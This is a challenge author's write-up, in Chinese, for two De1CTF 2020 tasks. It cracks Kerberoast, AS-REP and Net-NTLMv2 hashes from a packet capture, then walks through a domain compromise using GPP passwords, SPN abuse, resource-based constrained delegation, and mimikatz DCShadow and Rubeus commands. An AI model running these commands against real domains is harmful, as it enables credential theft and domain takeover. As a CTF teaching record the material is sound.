Easy Protocol
hint
hint的文件头是MSCF
,搜索一下可以知道这就是一个makecab压缩的文件,直接使用expand命令解压得到hint.txt
hint.txt
1 | hint1: flag is De1CTF{part1_part2_part3} |
hint.txt应该是和流量包有关的,暂时先不管
part1
简单浏览一下数据包,主要把目光投到Kerberos协议和LDAP协议上,简单跟一下LDAP,发现过滤条件是:(&(&(&(samAccountType=805306368)(servicePrincipalName=*))(samAccountName=De1CTF2020))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
,主要是这个servicePrincipalName=*
,是查询域用户De1CTF2020
所有存在的SPN
然后后面又有一个TGS-REQ请求
再回到hint中,应该是要你暴力破解之类的,然后猜测应该是Kerberoasting
然后将TGS-REQ中的SPN和票据的enc-part
提取出来
构造成hashcat支持的hash格式,$krb5tgs$23$*<USERNAME>$<DOMAIN>$<SPN>*$<FIRST_16_BYTES>$<REMAINING_BYTES>
然后爆破即可
1 | hashcat64.exe -m 13100 $krb5tgs$23$*De1CTF2020$test.local$part1/De1CTF2020*$b9bac2cd9555738bc4f8a38b7aa3b01d$12befde687b62d10d325ebc03e0dd0d6bca1f526240dfa6d23dc5bcafc224591dcf4ba97bf6219cfbe16f1b59d289800fdcc8f051626b7fe0c2343d860087c45b68d329fd1107cebe4e537f77f9eea0834ae8018a4fe8518f1c69be95667fd69dcc590d3d443a8530ff8e38ee7f7b6e378d64a8b43b985bcc20f941947ea9e8463fd7e0fa77f284368b9b489f6d557da1e02990cfc725723e5d452ff6e659717947805b852ad734c5acc8011e535b96cef3af796610196d31c725362f7426e0cf92985ffe0717baaf5066fdba760b90e2c9b7e15bc9a4952cff47d4a092d3be6128997f9ff85dbafb85a5569b5d021b2a23c6371cbdf8beaa68b332e6ba1c1a8dc43c50695498ed8c2dfbf11760af35e1b913cd36b8015df37a146d2696c8b6b5f2ce375f2674acc0ce04aa98b9d21291466ce7a2aeb5a72fda17fa53e5b41df67d3898457d05fc899096092b3aa5bc333cb75eb5eee4b1c33356e72d9d28d6d674a5e47f64c72afb580e8d4f713a5ae265a4c825c39c19313a532a23c27eaf24bcde29c5e65c13cc057e0db72094bcedb6049574e35e511847f460180ddd78f4c9187345b1068bd608ca238c20d200ffa7e3891d076fe6fcef93d044c79f5ec9fb33561a35acf785b2a203df6d07e39161d9d3cedbe6d4394bd2bf43e545acd03f796c7863d684f9db4a5eef070f71e58a4882c2387d0705f4bed32fd7986dd672a15f6cfa56fe127af7c157216b2ea4f61ab7963d9dcaf4bb9222a7cba86d6a5e6c24833ffbf1957d90224764a01e0cb5a90f12dfea4ddaef23e30c2bdafcbcd99031db5d0698c1a050fc679213a8b81b854c08686f43241a4ec937c71cd09c9519fa2bba3aa845c4e84dbd6d9bbc3a62c876fb4c30bfa7960f0f51587ece14a31add698b1b9743e14fc343394f8a346c8e24cc8c26a8f8246f6a68928d0118dea81fea9976af3c57fa4c764f565e458e065d5a2a3dd1b083f7851d4ae1b791ada853e9a20e5b169ea0b8b582711f04df4dad8b461771dda5fca11c3f8f82d85e657bbd57d12cf15c8bbce7ad6cd1ebf540c45aefd4aef2ec828b06f208bd57be6a5529481b9f8b8fad5962e86b349a720ec2a1380ed711ee0261b29383907dae6f7a45d3fff54efae7ace1f4d7193f4a4d932699a41c3deb3ba9934278942e8f09ecd4339de4059dd3ff06b78e773b6ab9826df7ea2a443dddd55cdf79db1f76e2f05105e6cc5f0c4bd494b9556d921c6cb3fa48d1ddd27cf077ebd3e44b716fc74d1115b293e348fb9676e6727a3a97a7c2b86e8b83d8f90b9bf628c71e56aabcac381a32d493db3f255378c498a0bf527a9677cb81ec89911a9b09d6ffe16e2f2de63728439f8275d9f6feac2da860c5aab772034b2b0b962c033f8102ac86b2a9b07a82e9c70be65fe371e9d296afbe0e7272b90256428553c6a4fb0a8f5290098e4dad4021d99a65f2a3fa4ad0d2f ?d?d?d?d?d?d?d?d -a 3 --force |
得到part1:79345612
part2
这其实是AS-REPRoasting
,判定过程如下:
跟进LDAP查询的请求,发现有一个这样的过滤条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)
DONT_REQ_PREAUTH
的值为4194304
,也就是说这个LDAP请求是查找开启了Do not require Kerberos preauthentication
的用户,如果用户开启了Do not require Kerberos preauthentication
那么就可以通过AS-REPRoasting
去暴力破解这个用户的凭证。
还有一个判断方法是第一步发送AS-REQ请求的时候,AS-REP返回了一个eRR-PROAUTH-REQUIRED
错误,不过这个方法不完全能判定是AS-REPRoasting
,因为在默认情况下,Windows Kerberos
客户端在第一个请求中不包括预身份验证信息,所以在正常认证中也会出现此情况。eRR-PROAUTH-REQUIRED
只不过是进一步验证我们上面AS-REPRoasting
的猜测
猜测是AS-REPRoasting
过程之后,然后从AS-REP中把票据的enc-part
部分提取出来
构造成hashcat支持的的格式,$krb5asrep$23$<PRINCIPAL_NAME>:<FIRST_16_BYTES>$<REMAINING_BYTES>
然后爆破即可
1 | hashcat64.exe -m 18200 $krb5asrep$23$De1CTF2020@test.local:2a00ca98642914e2cebb2718e79cbfb6$9026dd00f0b130fd4c4fd71a80817ddd5aec619a9b2e9b53ae2309bde0a9796ebcfa90558e8aaa6f39350b8f6de3a815a7b62ec0c154fe5e2802070146068dc9db1dc981fb355c94ead296cdaefc9c786ce589b43b25fb5b7ddad819db2edecd573342eaa029441ddfdb26765ce01ff719917ba3d0e7ce71a0fae38f91d17cf26d139b377ea2eb5114a2d36a5f27983e8c4cb599d9a4a5ae31a24db701d0734c79b1d323fcf0fe574e8dcca5347a6fb98b7fc2e63ccb125a48a44d4158de940b4fd0c74c7436198380c03170835d4934965ef6a25299e3f1af107c2154f40598db8600c855b2b183 ?d?d?d?d?d?d?d?d -a 3 --force |
得到part2:74212345
part3
一个NTLM认证的过程,将数据包中的Net-NTLM v2 hash
提取出来爆破即可,有两种方法,第一种方法是将WWW-Authenticate
头的内容提取出来,第二种方法是直接从数据包中提取Net-NTLM v2 hash
的各个部分
这里以第一种方法为例,将WWW-Authenticate
头的内容提取出来,写一个脚本转换为Net-NTLM v2 hash
即可
参考这篇文章https://www.innovation.ch/personal/ronald/ntlm.html
脚本如下
1 | NTLM="NTLM TlRMTVNTUAADAAAAGAAYAH4AAAAkASQBlgAAAAgACABYAAAAFAAUAGAAAAAKAAoAdAAAAAAAAAC6AQAABYKIogoAY0UAAAAPZ+qOBf/ZoMFgp+YUgxdqNVQARQBTAFQARABlADEAQwBUAEYAMgAwADIAMABXAEkATgAxADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtZkcwqDVhdD4EzWOqvx0EgEBAAAAAAAAEwy5ECMI1gHSKQvAwlYXqAAAAAACAAgAVABFAFMAVAABAAwARABNADIAMAAxADIABAAUAHQAZQBzAHQALgBsAG8AYwBhAGwAAwAiAGQAbQAyADAAMQAyAC4AdABlAHMAdAAuAGwAbwBjAGEAbAAFABQAdABlAHMAdAAuAGwAbwBjAGEAbAAHAAgAEwy5ECMI1gEGAAQAAgAAAAgAMAAwAAAAAAAAAAAAAAAAEAAA7Ko9RN3EZAJsRTIGgTqvoLkY8q1D1Jfvj7a+sggyWKQKABAAAAAAAAAAAAAAAAAAAAAAAAkAHgBIAFQAVABQAC8AdABlAHMAdAAuAGwAbwBjAGEAbAAAAAAAAAAAAA==" |
得到Net-NTLM v2 hash
1 | De1CTF2020::TEST:56886f90fcb73ded:b5991cc2a0d585d0f813358eaafc7412:0101000000000000130cb9102308d601d2290bc0c25617a80000000002000800540045005300540001000c0044004d0032003000310032000400140074006500730074002e006c006f00630061006c000300220064006d0032003000310032002e0074006500730074002e006c006f00630061006c000500140074006500730074002e006c006f00630061006c0007000800130cb9102308d60106000400020000000800300030000000000000000000000000100000ecaa3d44ddc464026c453206813aafa0b918f2ad43d497ef8fb6beb2083258a40a0010000000000000000000000000000000000009001e0048005400540050002f0074006500730074002e006c006f00630061006c000000000000000000 |
然后hashcat爆破即可
1 | hashcat64.exe -m 5600 De1CTF2020::TEST:56886f90fcb73ded:b5991cc2a0d585d0f813358eaafc7412:0101000000000000130cb9102308d601d2290bc0c25617a80000000002000800540045005300540001000c0044004d0032003000310032000400140074006500730074002e006c006f00630061006c000300220064006d0032003000310032002e0074006500730074002e006c006f00630061006c000500140074006500730074002e006c006f00630061006c0007000800130cb9102308d60106000400020000000800300030000000000000000000000000100000ecaa3d44ddc464026c453206813aafa0b918f2ad43d497ef8fb6beb2083258a40a0010000000000000000000000000000000000009001e0048005400540050002f0074006500730074002e006c006f00630061006c000000000000000000 ?d?d?d?d?d?d?d?d -a 3 --force |
得到part为74212345
所以最终flag为:De1CTF{79345612_15673223_74212345},上面的3个部分都是有工具可以提取hash的,篇幅有限这里就不过多演示了。
END
其实Part1和Part2也不一定说是攻击过程,正常域认证出现这样的数据包也是很正常不过的,所以我才在我在中间加上了LDAP的查询语句,是想要选手快速定位数据包。还有就是密码长度设置的也不是很长,我这边跑完3个部分用时不到1分钟
,有的队拿超算来跑,还有老外拿矿机来跑,看来我这题是真有“价值”啊233333
Hard_Pentest
上传
1 | POST /index.php HTTP/1.1 |
得到webshell后,发现flag不在web服务器上,猜测应该是内网渗透,为了方便操作可以弹个meterpreter
或者beacon
回来。然后下一步就是内网渗透了,简单信息收集一下,发现域控共享文件夹Hint有一个压缩包flag1_and_flag2hint.zip
将其下载下来,发现压缩包需要密码,继续信息收集,发现有一个用户HintZip_Pass
,猜测压缩密码应该是从这个用户下手。
然后收集Zip_Password
用户的一些信息,发现这个用户是属于Zip_Password
这个OU的,而不是常规的Users容器
发现这个OU有一个gplink
然后对这个GPO进行信息收集,发现
然后用Get-GPPPassword.ps1
即可得到压缩包密码
或者写一个脚本将cpassword
解密也可以
1 | import sys |
解压之后即可得到flag1,以及flag2的一些hint
1 | flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y} |
根据Hint,需要用户De1ta才能得到flag2,然后对De1ta用户进行信息收集,发现web用户对De1ta用户的servicePrincipalName
属性具有写权限
根据Hint2猜测应该是通过web用户给De1ta设置spn然后通过Kerberoasting
去暴力破解De1ta用户的密码。
尝试给De1ta用户设置spn
然后Kerberoasting
然后根据Hint2用hashcat离线爆破即可得到De1ta用户的密码
PS:这里也可以通过LDAP协议在线暴力破解,但是密码长度为16^1 + 16^2 + 16^3 + 16^4 + 16^5 + 16^6 + 16^7 + 16^8 = 4581298448
,很显然在线暴力破解不现实。
1 | hashcat64.exe -a 3 -m 13100 $krb5tgs$23$*USER$DOMAIN$test/test*$64EC0B10760E27F6EF4811DA3478C56D$77696AF42F593CF24D6B62D3DFEEF4AF8451E912AEC808B81BB2A833059EF7B0E9B41695D572B73917814E2439581239D264F4EF8ED6FC4DBC8DF5EA7D1F5CAD0B3197BFC16798C8EF2546B6DE4504D0F1C007EEA3222E948A448D818BDC8E4C26BBE2FD5D321BB0E2B0C6985383D9BA2E83E6389B4043E6CD04F2715C3159B7374DB32B817B4B3B04537CFDACD6FF54911F076EED74F820AF85D17FF93081775828E70DCD4489819EB6C6D518CF0C10F498B9A96EAA9CA330E8CE81C02D795572991D8979E39A6C633E849FCBC2831943F067320E41BF4FB0A9B8EB2EEC4CDD91606BDA4DF32A8BB4869D2CD424D9A156943D20E91F08C6EFA65B7C7AFC41309BCDA965E95D81318E47044D9333012914BBF27B1A48FC55BF8494DD65F317CAFA22F42F290335161ACE544841C196EBC239EE99A7F31C215119421390FAD8F16AAC63A7F83066B4CC5FB6AB89C61691E9202B447A4E920AF42A641133753AD5CF51580FBBAE080EBBAF589A1DF1E9543288A18116A0E191261149E63B88874BA607B3E4517EF84F3BA9B18255B58B3FF2C8570DCABC12F4FC0DA49AE61A92E8AF3C0ECD746BFF591743EFBC438E15CC645ECA3BFD935649168367287DD4E8029FC4454FAE237E8048FA701F8901EC9B4B5372E6B85802AB8A26F233D583F79F49CBAC378838E3C05AB2C2065C35A6C5D8B0B92D7F438E80BF3A1D847DC174BB0D370EB09125D710243001A9D988E350B43D556AEE8F09053790AAAFC395292EE2FAD3B7A04EB330AB90D2EAE29D9D922F0BB65ED2FF05A9A73B09001F5AECE1BC7162DE480F5463C7B19932B50DFA0329CDF0F964EFC0647FB7319408B541587D6AF2730EC52243E7A7BAB096AFB1FA6E7A81A7148347B43394BC3E280062105C1A6859F278C829E3BBAC3FD4F545154657BC4E0F55AF439140B3B1D29EE4209B8F83E3E3DDC52A6C32E92EB2836F80AF972B54D029D8EC071BD12BDCA45DBDF555A64B16AEC90CC486159D07D53A9D9196E5A736F48350F5639F482B45E7BA3EC11A9B7CA4DD8BC6320058CA0D891F5B4B1BFE0243E8D9640380492B0BEFB9EC13B8A4B2DE4297C3DE84FDB2753693F5E9FFB46FC1F60748AF1A07DE60F7656DBEDB927E3DF35B1AE8588BA6450C8D7539F982385D1B8AC25B37638EF9414519F37773A353EBBAAF996DF17DDE3CBF64B9ACFBEF65E12773004BDF5B6B81CC8CF5D2B59C6A2AAA883B458676AD2800710FA3F017C2E53B353D4E2C6B0D92D57B79939D29FAA8049F6CF0782E2572ACE8E8FFDFE1A05AC277924D4826606F5C68369C15186910DAEC601CA691910DCE519D58EDC964D5844FE8B7B21F9F99C6891FAE7DC0D783EA78EF6393A92F273D98353718670BA167A9CC9809B03195EDA8323B7C887040CD37FF4A09 -1 0123456789abcdef --increment --increment-min 1 --increment-max 8 ?1?1?1?1?1?1?1?1 |
根据Hint3:注意De1ta在域上的拓展权限,然后对域的ACL进行信息收集
发现De1ta用户在域上有Add/Remove Replica In Domain
、Replication Synchronization
、Manage Replication Topology
权限,这很容易想到Dcshadow,但是单单三个权限还是不满足Dcshadow的条件的,还要对当前主机属性具有写权限以及对CN=Sites,CN=Configuration,DC=De1CTF2020,DC=lab
容器具有Create Child
和Delete Chind
权限。然后再收集一波相关的ACL
发现De1ta用户对CN=Sites,CN=Configuration,DC=De1CTF2020,DC=lab
容器具有Create Child
和Delete Chind
权限
De1ta对当前主机DM属性具有写权限,刚好满足Dcshadow的所有权限
但是现在还有一个问题是,Dcshadow需要system权限去调用本地的RPC服务,上面说过De1ta对当前主机DM属性具有写权限,通过信息收集可以知道域控是Windows Server 2012R2
所以我们可以通过基于资源的约束委派对当前主机进行本地提权。
申请一张De1ta用户的TGT,并导入当前会话
然后新建一个主机用户evilsystem,并配置evilsystem到DM基于资源的约束委派
1 | New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force) |
配置完成后我们就可以通过s4u获得一个高权限的shell
1 | .\getst.exe -dc-ip 192.168.0.12 -spn cifs/dm -impersonate Administrator de1ctf2020.lab/evilsystem:evil |
PS:如果是msf的shell的话会出现如下情况,出现这个问题的原因应该是命名管道导致编码出现问题。
所以这里使用cs,或者直接把内网穿透出来也是可以的
执行之后就即可得到一个高权限的shell了
然后就是利用Dcshadow修改用户的属性,这里可以是修改SID-History为域管的SID或者是修改primaryGroupID改为域管组的primaryGroupID(512)都是可以的
1 | mimikatz.exe "!+" "!processtoken" "lsadump::dcshadow /object:de1ta /attribute:primaryGroupID /value:512" |
然后使用用户De1ta进行推送,触发域控间数据的同步
1 | Rubeus.exe asktgt /user:de1ta /rc4:B03094996601324646AC223BF30D0D07 /domain:de1ctf2020.lab /ptt && mimikatz.exe "lsadump::dcshadow /push" "exit" |
推送之后查看一下是否加入域管组
然后读取在域控上的flag即可
整个过程如下:
PS:有时候因为网络问题RPC那端可能会没有显示同步完成,这个属于正常现象,不影响把数据同步到域控上。
End
提一下,这道题有几个上车的点:
- 如果是使用mimikatz.exe的
!processtoken
提升为system权限,会将当前进程的所有mimikatz、cmd都提升为system权限。 - Dcshadow那步没有将权限还原,可能导致其它选手直接上车(有2、3个队就是上了这个车)。
- 注册SPN那步没有将De1ta用户的SPN给删掉,可能导致其它选手直接
Kerberoasting
上车。
还有选手问的几个比较多的问题,我这里提一下:
- 为什么De1ta的密码能用logonpasswords导出来
解:因为有人提权之后拿De1ta用户登陆了DM,所以在内存中缓存了密码 - 为什么使用De1ta用户能直接登陆域控getflag
解:因为上一个队伍Dcshadow之后De1ta用户是高权限,并且没有及时清理掉权限 - 为什么不用基于资源的约束委派也能提权
解:其实这里有两个非预期提权的,虽然最后这两个提权都修了,但是还是有一个队伍利用PrintSpoofer提权并且拿到了flag Orz,一个是土豆(修题:禁用DCOM),一个是PrintSpoofer(修题:禁用SeImpersonatePrivilege)。PrintSpoofer是我没想到,这个提权方法是比赛结束后我才在推特上看到的,提权方法是5.2公布的,比赛刚好是5.2,搞得修题跟应急似的 - 为什么用Rebeus导入的票据使用不了
解:这个具体原因我也不是很清楚,但是用impacket是没有什么问题的
最后非常感谢各位师傅的认真做题没有给题目搅屎Orzzzzzzz